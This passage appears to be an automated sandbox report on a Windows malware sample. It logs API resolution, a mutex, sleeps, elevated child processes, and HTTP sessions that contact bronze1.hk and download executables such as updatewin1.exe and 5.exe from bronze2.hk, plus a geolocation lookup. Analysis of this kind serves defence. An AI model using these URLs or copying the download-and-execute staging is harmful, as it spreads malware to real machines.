Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d4e124 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74d5157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d4df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d4df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = ControlService, address_out = 0x74d67144 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d4df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptEncrypt, address_out = 0x74d6779b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptImportKey, address_out = 0x74d4c532 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = QueryServiceStatus, address_out = 0x74d52a86 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74d546ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CloseServiceHandle, address_out = 0x74d5369c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x760617bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7605e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteA, address_out = 0x76217078 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitialize, address_out = 0x755fb636 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitializeSecurity, address_out = 0x75607259 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoUninitialize, address_out = 0x756286d3 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x75629d0b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 202, address_out = 0x7522fd6b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 2, address_out = 0x75224642 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 9, address_out = 0x75223eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 8, address_out = 0x75223ed5 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 6, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 200, address_out = 0x75223f21 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 12, address_out = 0x75225dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 201, address_out = 0x75224af8 True 1
Fn
Get Address c:\windows\syswow64\iphlpapi.dll function = GetAdaptersInfo, address_out = 0x74b59263 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 12, address_out = 0x75bcb131 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 11, address_out = 0x75bc311b True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 52, address_out = 0x75bd7673 True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsQuery_W, address_out = 0x74a9572c True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsFree, address_out = 0x74a8436b True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptStringToBinaryA, address_out = 0x759e5d77 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x75141544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x75141408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x7514152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathA, address_out = 0x760e7804 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 5p5NrGJn0jS HALPmcxz True 1
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create LPCWSTRszTitle class_name = LPCWSTRszWindowClass, wndproc_parameter = 0 True 1
Fn
System (258)
»
Operation Additional Information Success Count Logfile
Sleep duration = 30000 milliseconds (30.000 seconds) True 1
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 1
Fn
Get Time type = System Time, time = 2019-07-13 15:57:18 (UTC) True 2
Fn
Get Time type = Ticks, time = 104661 True 1
Fn
Get Time type = Performance Ctr, time = 16250583617 True 1
Fn
Get Time type = Ticks, time = 104707 True 249
Fn
Get Time type = Performance Ctr, time = 16272209365 True 1
Fn
Get Time type = System Time, time = 2019-07-13 15:57:23 (UTC) True 1
Fn
Get Info type = Operating System True 1
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Network Behavior
HTTP Sessions (8)
»
Information Value
Total Data Sent 640 bytes
Total Data Received 7.47 KB
Contacted Host Count 3
Contacted Hosts 95.181.178.43, 77.123.139.189, 85.143.217.129
HTTP Session #1
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze1.hk
Server Port 80
Username -
Password -
Data Sent 173 bytes
Data Received 285 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze1.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE&first=true True 1
Fn
Read Response size = 1024, size_out = 103 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/updatewin1.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze2.hk/tesptc/penelop/updatewin1.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 27
Fn
Data
Read Response size = 10240, size_out = 2560 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #3
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/updatewin2.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze2.hk/tesptc/penelop/updatewin2.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 27
Fn
Data
Read Response size = 10240, size_out = 4608 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #4
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/updatewin.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze2.hk/tesptc/penelop/updatewin.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 27
Fn
Data
Read Response size = 10240, size_out = 7680 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #5
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/3.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze2.hk/tesptc/penelop/3.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
HTTP Session #6
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/4.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze2.hk/tesptc/penelop/4.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
HTTP Session #7
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/5.exe True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze2.hk/tesptc/penelop/5.exe True 1
Fn
Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Read Response size = 10240, size_out = 10240 True 40
Fn
Data
Read Response size = 10240, size_out = 6656 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #8
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.19 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Process #6: updatewin1.exe
671 0
»
Information Value
ID #6
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:49, Reason: Child Process
Unmonitor End Time: 00:00:52, Reason: Self Terminated
Monitor Duration 00:00:03
OS Process Information
»
Information Value
PID 0xb04
Parent PID 0xaa8 (c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B08
0x B24
0x B28
0x B2C
0x B38
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
updatewin1.exe 0x00400000 0x0044CFFF Relevant Image - 32-bit - False False
...
buffer 0x004E5000 0x004E5FFF Marked Executable - 32-bit - False False
...
updatewin1.exe 0x00400000 0x0044CFFF Process Termination - 32-bit - False False
...
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x00000000004d0000:+0x16795 104. entry of updatewin1.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to pagefile_0x00000000008f0000:+0x67f6f6
...
Host Behavior
File (6)
»
Operation Filename Additional Information Success Count Logfile
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe show_window = SW_SHOW True 1
Fn
Module (154)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Load api-ms-win-appmodel-runtime-l1-1-2 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe base_address = 0x400000 True 2
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 9
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExW, address_out = 0x74d540fe True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = SetSecurityDescriptorDacl, address_out = 0x74d5415e True 1
Fn
